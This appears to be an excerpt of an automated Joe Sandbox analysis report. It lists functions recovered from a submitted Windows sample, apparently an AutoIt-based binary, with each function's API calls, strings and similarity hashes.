Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: ab32fec2114cc7797343045e8234e8b8459b98e881f5fb7974a6d5b650555941
Instruction ID: 75bfe5812cfc08462ffafc42c3e3c5475d25ea0b4fb41cdadf67a32490822a7e
Opcode Fuzzy Hash: ab32fec2114cc7797343045e8234e8b8459b98e881f5fb7974a6d5b650555941
Instruction Fuzzy Hash: 58718236A08A5186E724DB59F85467A7361FB8DBA9F004335DE6E87BA4DF3CE444C700

Function 00007FF6BB1C6EA0 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 268windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 00007FF6BB1C6FE4
GetDesktopWindow.USER32 ref: 00007FF6BB1C6FF4
GetWindowRect.USER32 ref: 00007FF6BB1C7002
GetWindowLongW.USER32 ref: 00007FF6BB1C705E
DestroyWindow.USER32 ref: 00007FF6BB1C707C
CreateWindowExW.USER32 ref: 00007FF6BB1C70D3
SendMessageW.USER32 ref: 00007FF6BB1C70EF
SendMessageW.USER32 ref: 00007FF6BB1C7108
SendMessageW.USER32 ref: 00007FF6BB1C7123
SendMessageW.USER32 ref: 00007FF6BB1C7140
IsWindowVisible.USER32 ref: 00007FF6BB1C7192
SendMessageW.USER32 ref: 00007FF6BB1C71B6
SendMessageW.USER32 ref: 00007FF6BB1C71D1
GetWindowRect.USER32 ref: 00007FF6BB1C71EC
MonitorFromPoint.USER32 ref: 00007FF6BB1C7210
GetMonitorInfoW.USER32 ref: 00007FF6BB1C7224
CopyRect.USER32 ref: 00007FF6BB1C7237
SendMessageW.USER32 ref: 00007FF6BB1C729C

Strings

tooltips_class32, xrefs: 00007FF6BB1C7095

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: tooltips_class32
API String ID: 698492251-1918224756
Opcode ID: 134fb4e1424d2fb4e321c1dd5c8cc0f154a29b10d7bebbc83ea585521f9a7016
Instruction ID: 13e2845fc6036e14897a0d4ce924906ff3503c57de1ffab2f85ed179b7346912
Opcode Fuzzy Hash: 134fb4e1424d2fb4e321c1dd5c8cc0f154a29b10d7bebbc83ea585521f9a7016
Instruction Fuzzy Hash: 58C13D72A08B458AEB54CF69E4542AE77A0FB8DB98F500035DB5E8BB64DF78E851C700

Function 00007FF6BB192C10 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 175windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32 ref: 00007FF6BB192C3E
SendMessageW.USER32 ref: 00007FF6BB192C56
SetWindowTextW.USER32 ref: 00007FF6BB192C6F
GetDlgItem.USER32 ref: 00007FF6BB192C87
SetWindowTextW.USER32 ref: 00007FF6BB192C94
GetDlgItem.USER32 ref: 00007FF6BB192CAE
SetWindowTextW.USER32 ref: 00007FF6BB192CBB
SendDlgItemMessageW.USER32 ref: 00007FF6BB192CE0
SendDlgItemMessageW.USER32 ref: 00007FF6BB192D03
GetWindowRect.USER32 ref: 00007FF6BB192D14
SetWindowTextW.USER32 ref: 00007FF6BB192DB5
GetDesktopWindow.USER32 ref: 00007FF6BB192DBB
GetWindowRect.USER32 ref: 00007FF6BB192DC8
MoveWindow.USER32 ref: 00007FF6BB192E20
GetClientRect.USER32 ref: 00007FF6BB192E31
PostMessageW.USER32 ref: 00007FF6BB192E60
SetTimer.USER32 ref: 00007FF6BB192E91

Strings

@, xrefs: 00007FF6BB192DD7

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID: @
API String ID: 3869813825-2766056989
Opcode ID: b82c187733dd5023c28d903207b62df0d5996a373ba8083c7f15af3311f57f4a
Instruction ID: e63ec300528246eb95182f5a3e57be6baffd3b93726fbee29ce0c441af3ed21c
Opcode Fuzzy Hash: b82c187733dd5023c28d903207b62df0d5996a373ba8083c7f15af3311f57f4a
Instruction Fuzzy Hash: 9A815B32A04A4286E740DF79E9546AD33A0FB48B8CF844531DF4EE7668DF38E946C750

Function 00007FF6BB1D1254 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 162windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB122A54: GetWindowLongPtrW.USER32 ref: 00007FF6BB122A71

DragQueryPoint.SHELL32 ref: 00007FF6BB1D1298

Part of subcall function 00007FF6BB1CF014: ClientToScreen.USER32(00000000,?,?,?,?,00007FF6BB1D0BC9), ref: 00007FF6BB1CF054
Part of subcall function 00007FF6BB1CF014: GetWindowRect.USER32(?,?,?,?,00007FF6BB1D0BC9), ref: 00007FF6BB1CF0E3
Part of subcall function 00007FF6BB1CF014: PtInRect.USER32 ref: 00007FF6BB1CF0F3

SendMessageW.USER32 ref: 00007FF6BB1D130F
DragQueryFileW.SHELL32 ref: 00007FF6BB1D1321
DragQueryFileW.SHELL32 ref: 00007FF6BB1D1347
wcscat.LIBCMT ref: 00007FF6BB1D137B
SendMessageW.USER32 ref: 00007FF6BB1D1392
SendMessageW.USER32 ref: 00007FF6BB1D13AC
SendMessageW.USER32 ref: 00007FF6BB1D13C4
SendMessageW.USER32 ref: 00007FF6BB1D13E9
DragFinish.SHELL32 ref: 00007FF6BB1D13F2
DefDlgProcW.USER32 ref: 00007FF6BB1D1520

Strings

@GUI_DROPID, xrefs: 00007FF6BB1D1415
@GUI_DRAGFILE, xrefs: 00007FF6BB1D14B4
@GUI_DRAGID, xrefs: 00007FF6BB1D146B

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreenwcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 2091158083-3440237614
Opcode ID: 1dfcd66b1beb431dd94c898c6b643c1c8ea49badc5456dbef34fa79d17b29ff8
Instruction ID: da6fb0cce8feee07081a3a7a42ae9033cd9c847a0931d70200ebcf37d8fb6d72
Opcode Fuzzy Hash: 1dfcd66b1beb431dd94c898c6b643c1c8ea49badc5456dbef34fa79d17b29ff8
Instruction Fuzzy Hash: 1F714032618A8296E710DB59F8447ED7720FB89798F901032EF4E87AA9DF7CD649C740

Function 00007FF6BB1A3FD0 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 197COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32 ref: 00007FF6BB1A4077
GetDriveTypeW.KERNEL32 ref: 00007FF6BB1A4162
mciSendStringW.WINMM ref: 00007FF6BB1A41AA
mciSendStringW.WINMM ref: 00007FF6BB1A41F1
mciSendStringW.WINMM ref: 00007FF6BB1A4229

Strings

wait, xrefs: 00007FF6BB1A41D5
close cd wait, xrefs: 00007FF6BB1A420D
open , xrefs: 00007FF6BB1A4171
close, xrefs: 00007FF6BB1A407D
closed, xrefs: 00007FF6BB1A408C
type cdaudio alias cd wait, xrefs: 00007FF6BB1A418E
set cd door , xrefs: 00007FF6BB1A41B8
open, xrefs: 00007FF6BB1A40DC

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1600147383-4113822522
Opcode ID: f7a7ab7ec1fa580d5e6ff973f8f4b9d76ff6f996739de9da71bd8b134ea55aea
Instruction ID: 5854ba1966c0d0e59c432b7a7397b84dda6bb83ebd17a821d09a3169c6603a99
Opcode Fuzzy Hash: f7a7ab7ec1fa580d5e6ff973f8f4b9d76ff6f996739de9da71bd8b134ea55aea
Instruction Fuzzy Hash: C8818A22B18A52C5EB109B69D8512BC23A1FB58B9CF544432CF1DD7BA5EF3CE94AC740

Function 00007FF6BB1D0118 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 175windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32 ref: 00007FF6BB1D0201
LoadLibraryExW.KERNEL32 ref: 00007FF6BB1D026C
LoadImageW.USER32 ref: 00007FF6BB1D02B0
LoadImageW.USER32 ref: 00007FF6BB1D02EB
LoadImageW.USER32 ref: 00007FF6BB1D032F
FreeLibrary.KERNEL32 ref: 00007FF6BB1D033C
ExtractIconExW.SHELL32 ref: 00007FF6BB1D034E
DestroyIcon.USER32 ref: 00007FF6BB1D0360
SendMessageW.USER32 ref: 00007FF6BB1D037F
SendMessageW.USER32 ref: 00007FF6BB1D0397

Part of subcall function 00007FF6BB148E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB148E4F

Part of subcall function 00007FF6BB148E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB148EED

Strings

.exe, xrefs: 00007FF6BB1D0193
.icl, xrefs: 00007FF6BB1D0171
.dll, xrefs: 00007FF6BB1D01B5

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend_invalid_parameter_noinfo$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 258715311-1154884017
Opcode ID: e03b8a297f3e31543187ea4d980dcab107f3fc290ba37e0d0746b7471e731d00
Instruction ID: e7c0bda2d7c9ac94508c6cd3da105b425ac4ae1aa6c3e9cd539856407faa9c93
Opcode Fuzzy Hash: e03b8a297f3e31543187ea4d980dcab107f3fc290ba37e0d0746b7471e731d00
Instruction Fuzzy Hash: E371C232A45A668AEB24CF29E4546B923A4FB4CB9CF040635EE5D877B4DF3CE545C700

Function 00007FF6BB1D03D0 Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF6BB1D0422
GetFileSize.KERNEL32 ref: 00007FF6BB1D0436
GlobalAlloc.KERNEL32 ref: 00007FF6BB1D0445
CloseHandle.KERNEL32 ref: 00007FF6BB1D0456
GlobalLock.KERNEL32 ref: 00007FF6BB1D0466
ReadFile.KERNEL32 ref: 00007FF6BB1D047E
GlobalUnlock.KERNEL32 ref: 00007FF6BB1D0489
CloseHandle.KERNEL32 ref: 00007FF6BB1D0492
CreateStreamOnHGlobal.OLE32 ref: 00007FF6BB1D04A8
OleLoadPicture.OLEAUT32 ref: 00007FF6BB1D04CB
GlobalFree.KERNEL32 ref: 00007FF6BB1D04DE
GetObjectW.GDI32 ref: 00007FF6BB1D0508
CopyImage.USER32 ref: 00007FF6BB1D0541
DeleteObject.GDI32 ref: 00007FF6BB1D056E
SendMessageW.USER32 ref: 00007FF6BB1D058D

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 7c311c18288b1496fa214aa0c4abe44590be5c31b38ad7f7d9d564ed982c3a32
Instruction ID: 26d66eeec1b1e7f237e774a66b998c06f15f891f8bb5d0545fddec86178824e0
Opcode Fuzzy Hash: 7c311c18288b1496fa214aa0c4abe44590be5c31b38ad7f7d9d564ed982c3a32
Instruction Fuzzy Hash: 8B515436B54B558AEB14CF6AE858AAD33A4FB8CB99B504131DE1E83B24DF3DE405C700

Function 00007FF6BB1A0D70 Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 388COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF6BB1A102D
VariantClear.OLEAUT32 ref: 00007FF6BB1A111F

Strings

Default, xrefs: 00007FF6BB1A0E89
%4d%02d%02d%02d%02d%02d, xrefs: 00007FF6BB1A0F10

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Variant$ClearInit
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 2610073882-3931177956
Opcode ID: ac889367bae4e254e0e35ddf33c20c4b5cb295985cb73c3a9e2cda7ca1084c4c
Instruction ID: dbedc8be0db3d40f81e540e92bca15b67831a9bcf16de157b576980d266d32f6
Opcode Fuzzy Hash: ac889367bae4e254e0e35ddf33c20c4b5cb295985cb73c3a9e2cda7ca1084c4c
Instruction Fuzzy Hash: D9028F32A0864685E758AF6DC16417D23A5FF0AB98F094135CB1E97BA4DF2DF968CB00

Function 00007FF6BB1A246C Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 281fileCOMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 00007FF6BB1A2590
wcscat.LIBCMT ref: 00007FF6BB1A25A3
wcscat.LIBCMT ref: 00007FF6BB1A25E1
wcscat.LIBCMT ref: 00007FF6BB1A25F4

Part of subcall function 00007FF6BB1267D8: _fread_nolock.LIBCMT ref: 00007FF6BB126805

GetTempPathW.KERNEL32 ref: 00007FF6BB1A271B
GetTempFileNameW.KERNEL32 ref: 00007FF6BB1A2737

Part of subcall function 00007FF6BB1548E0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB154835

DeleteFileW.KERNEL32 ref: 00007FF6BB1A2854
DeleteFileW.KERNEL32 ref: 00007FF6BB1A28BB

Strings

aut, xrefs: 00007FF6BB1A2729

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Filewcscat$DeleteTemp$NamePath_fread_nolock_invalid_parameter_noinfowcscpy
String ID: aut
API String ID: 130057722-3010740371
Opcode ID: b723f37c5c9f49deb94b7e2ba47ba0053f3298e7adf33b8eeadd62bc7b029919
Instruction ID: 54a311153e02607598f4ee75d7b9dbb41761284fd6bf234ab7ba8e1838287613
Opcode Fuzzy Hash: b723f37c5c9f49deb94b7e2ba47ba0053f3298e7adf33b8eeadd62bc7b029919
Instruction Fuzzy Hash: 47C15732618AC695EB30DF29E8405E96751FB9978CF404036EB5D87B69DF7CE209CB40

Function 00007FF6BB1A8BF4 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00007FF6BB1A8CDA
SystemTimeToFileTime.KERNEL32 ref: 00007FF6BB1A8CEC
LocalFileTimeToFileTime.KERNEL32 ref: 00007FF6BB1A8D00
wcscat.LIBCMT ref: 00007FF6BB1A8D84
wcscat.LIBCMT ref: 00007FF6BB1A8D95
GetCurrentDirectoryW.KERNEL32 ref: 00007FF6BB1A8DA6
SetCurrentDirectoryW.KERNEL32 ref: 00007FF6BB1A8DB3
SetCurrentDirectoryW.KERNEL32 ref: 00007FF6BB1A8DEE
SetCurrentDirectoryW.KERNEL32 ref: 00007FF6BB1A8E3F
SetCurrentDirectoryW.KERNEL32 ref: 00007FF6BB1A8E4C
wcscpy.LIBCMT ref: 00007FF6BB1A8E5E

Strings

*.*, xrefs: 00007FF6BB1A8E52

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Localwcscat$Systemwcscpy
String ID: *.*
API String ID: 1111067124-438819550
Opcode ID: 3ca7d68079c1ff763c9ee0aef9738ae99c5ba69d20ea6bec99791ff82066f6f2
Instruction ID: 5c35ec577eb53601a0ebf1977f7249bd5729fa0afda62ae2858eb7fc5d91b7a1
Opcode Fuzzy Hash: 3ca7d68079c1ff763c9ee0aef9738ae99c5ba69d20ea6bec99791ff82066f6f2
Instruction Fuzzy Hash: C7715F32618B8691EB10DF19D8401EE6761FB88B8CF445031DB5D87BB6DF79E549CB40

Function 00007FF6BB1B4F54 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 151windowCOMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6BB1B4FDF
CreateCompatibleBitmap.GDI32 ref: 00007FF6BB1B4FF3
CreateCompatibleDC.GDI32 ref: 00007FF6BB1B5001
SelectObject.GDI32 ref: 00007FF6BB1B5011
StretchBlt.GDI32 ref: 00007FF6BB1B5087
GetDIBits.GDI32 ref: 00007FF6BB1B50CE
GetDIBits.GDI32 ref: 00007FF6BB1B5107
SelectObject.GDI32 ref: 00007FF6BB1B5116
DeleteObject.GDI32 ref: 00007FF6BB1B511F
DeleteDC.GDI32 ref: 00007FF6BB1B5128
ReleaseDC.USER32 ref: 00007FF6BB1B5133

Strings

, xrefs: 00007FF6BB1B5053

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID:
API String ID: 2598888154-3916222277
Opcode ID: fcfdd97660a26b14c0ccb4ba546d19d1c0237f5a0672d4ae4f5d43f9cb811bfd
Instruction ID: da41a495cfa10f75ebf346efddae380ca7ef6abcb108be66af35b5e5917346db
Opcode Fuzzy Hash: fcfdd97660a26b14c0ccb4ba546d19d1c0237f5a0672d4ae4f5d43f9cb811bfd
Instruction Fuzzy Hash: CE512676B15641CBE750CF69E454AAE77B5F748B8CF009529EF4A93B28CF38E4158B00

Function 00007FF6BB18B0C4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32 ref: 00007FF6BB18B101
SafeArrayAllocData.OLEAUT32 ref: 00007FF6BB18B163
VariantInit.OLEAUT32 ref: 00007FF6BB18B175
SafeArrayAccessData.OLEAUT32 ref: 00007FF6BB18B198
VariantCopy.OLEAUT32 ref: 00007FF6BB18B203
SafeArrayUnaccessData.OLEAUT32 ref: 00007FF6BB18B217
VariantClear.OLEAUT32 ref: 00007FF6BB18B22E
SafeArrayDestroyData.OLEAUT32 ref: 00007FF6BB18B23D
SafeArrayDestroyDescriptor.OLEAUT32 ref: 00007FF6BB18B247
VariantClear.OLEAUT32 ref: 00007FF6BB18B25A
SafeArrayDestroyDescriptor.OLEAUT32 ref: 00007FF6BB18B266

Strings

NULL Pointer assignment, xrefs: 00007FF6BB18B0D3

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID: NULL Pointer assignment
API String ID: 2706829360-2785691316
Opcode ID: f387a50e6818b73d110b12cd73088d785cdd73093c11eac48bc39c6d5f3c3ae3
Instruction ID: 98b7a34969887ca74b12c3569b663d3d68d47d740af66de9aaebe65a0f04cf70
Opcode Fuzzy Hash: f387a50e6818b73d110b12cd73088d785cdd73093c11eac48bc39c6d5f3c3ae3
Instruction Fuzzy Hash: 48514C22B15A528AEB40DF69D8856BD3771FB88B8DF404031EB0E87679DF39E04AC740

Function 00007FF6BB1C1110 Relevance: 19.6, APIs: 1, Strings: 10, Instructions: 371COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF6BB1BFD7B), ref: 00007FF6BB1C1143

Strings

HKEY_CURRENT_USER, xrefs: 00007FF6BB1C146B
HKEY_USERS, xrefs: 00007FF6BB1C1505
HKU, xrefs: 00007FF6BB1C1542
HKEY_CURRENT_CONFIG, xrefs: 00007FF6BB1C13D1
HKEY_CLASSES_ROOT, xrefs: 00007FF6BB1C132C
HKEY_LOCAL_MACHINE, xrefs: 00007FF6BB1C1285
HKCR, xrefs: 00007FF6BB1C1369
HKCU, xrefs: 00007FF6BB1C14A8
HKLM, xrefs: 00007FF6BB1C12C2
HKCC, xrefs: 00007FF6BB1C140E

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 48ce5f8ab7038dd94976e3b00d3167ae2925137fb7b03817e14e3f39c5b841c4
Instruction ID: 44bd8d0f96ae7b7280745f784299c2e68f7a3cb74e317e743e90fe3abd40fddf
Opcode Fuzzy Hash: 48ce5f8ab7038dd94976e3b00d3167ae2925137fb7b03817e14e3f39c5b841c4
Instruction Fuzzy Hash: 02E18012F8965781EA609F6DD8402B922A1BF19B9CB484535DB1ECB7E4EF3CE965C300

Function 00007FF6BB1A3268 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 135COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF6BB1A32C5
LoadStringW.USER32 ref: 00007FF6BB1A32EB
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BB1A3433
